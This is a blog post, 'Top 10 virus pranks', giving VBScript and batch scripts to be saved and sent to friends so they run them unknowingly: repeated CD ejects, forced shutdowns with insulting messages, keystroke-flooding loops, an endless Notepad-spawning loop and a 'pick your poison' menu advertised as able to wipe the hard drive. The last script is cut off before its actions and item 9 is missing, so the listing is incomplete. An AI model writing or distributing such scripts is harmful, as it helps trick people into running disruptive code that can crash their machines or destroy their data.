Top 10 virus pranks

Hi Friends! This post is about some harmless Pranks you can pull; you can run these on your friend’s Computer and confuse them for a while.

So be ready to see the amused faces of your friends!

All of these commands are to be typed on the notepad.


1. Continually pop out your friend’s CD Drive. It pops out all of them if he/she has more than one!

Type Code:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)  
Set colCDROMs = oWMP.cdromCollection  
do  
if colCDROMs.Count >= 1 then  
For i = 0 to colCDROMs.Count – 1  
colCDROMs.Item(i).Eject  
Next  
For i = 0 to colCDROMs.Count – 1  
colCDROMs.Item(i).Eject  
Next  
End If  
wscript.sleep 5000  
loop  

Save it as Anything.VBS and send it.


2. Convey your friend a little message and shut down his/her computer:
Type Code:

@echo off  
msg * I don’t like you  
shutdown -c “Error! You are too stupid!” -s  

Save it as Anything.BAT in All Files and send it.


3. Toggle your friend’s Caps Lock button simultaneously:
Type Code:

Set wshShell =wscript.CreateObject(“WScript.Shell”)  
do  
wscript.sleep 100  
wshshell.sendkeys “{CAPSLOCK}”  
loop  

Save it as Anything.VBS and send it.


4. Frustrate your friend by making this VBScript hit Enter simultaneously:
Type Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)  
do  
wscript.sleep 100  
wshshell.sendkeys “~(enter)”  
loop  

Save it as Anything.VBS and send it.


5. Open Notepad, slowly types “Hello, how are you? I am good, thanks” and freak your friend out:
Type Code:

WScript.Sleep 180000  
WScript.Sleep 10000  
Set WshShell = WScript.CreateObject(“WScript.Shell”)  
WshShell.Run “notepad”  
WScript.Sleep 100  
WshShell.AppActivate “Notepad”  
WScript.Sleep 500  
WshShell.SendKeys “Hel”  
WScript.Sleep 500  
WshShell.SendKeys “lo “  
WScript.Sleep 500  
WshShell.SendKeys “, ho”  
WScript.Sleep 500  
WshShell.SendKeys “w a”  
WScript.Sleep 500  
WshShell.SendKeys “re “  
WScript.Sleep 500  
WshShell.SendKeys “you”  
WScript.Sleep 500  
WshShell.SendKeys “? “  
WScript.Sleep 500  
WshShell.SendKeys “I a”  
WScript.Sleep 500  
WshShell.SendKeys “m g”  
WScript.Sleep 500  
WshShell.SendKeys “ood”  
WScript.Sleep 500  
WshShell.SendKeys ” th”  
WScript.Sleep 500  
WshShell.SendKeys “ank”  
WScript.Sleep 500  
WshShell.SendKeys “s! “  

Save it as Anything.VBS and send it.


6. Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type Code:

MsgBox “Let’s go back a few steps”  
Set wshShell =wscript.CreateObject(“WScript.Shell”)  
do  
wscript.sleep 100  
wshshell.sendkeys “{bs}”  
loop  

Save it as Anything.VBS and send it.


7. Hack your friend’s keyboard and make him type “You are a fool” simultaneously:
Type Code:

Set wshShell = wscript.CreateObject(“WScript.Shell”)  
do  
wscript.sleep 100  
wshshell.sendkeys “You are a fool.”  
loop  

Save it as Anything.VBS and send it.


8. Open Notepad continually on your friend’s computer:
Type Code:

@ECHO off  
:top  
START %SystemRoot%\system32\notepad.exe  
GOTO top  

Save it as Anything.BAT and send it.


10. Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a specific action:

  1. Shutdown
  2. Restart
  3. Wipes out your hard drive (BEWARE)
  4. Net send
  5. Messages then shutdown

Type Code:

@echo off  
title The end of the world  
cd C:\  
:menu  
cls  
echo "I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press ‘x’ then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc…"  
pause  
echo Pick your poison:  
echo 1. Die this way (Wimp)  
echo 2. Die this way (WIMP!)  
echo 3. DO NOT DIE THIS WAY  
echo 4. Die this way (you’re boring)  
echo 5. Easy way out  
set input=nothing  
set /p input=Choice:  
if %input%==1 goto one  
if %input%==2 goto two  

Save it as Anything.BAT and send it.


Mail it or Send it via messenger


To get rid of it, Shutdown/Restart your Computer or end the Process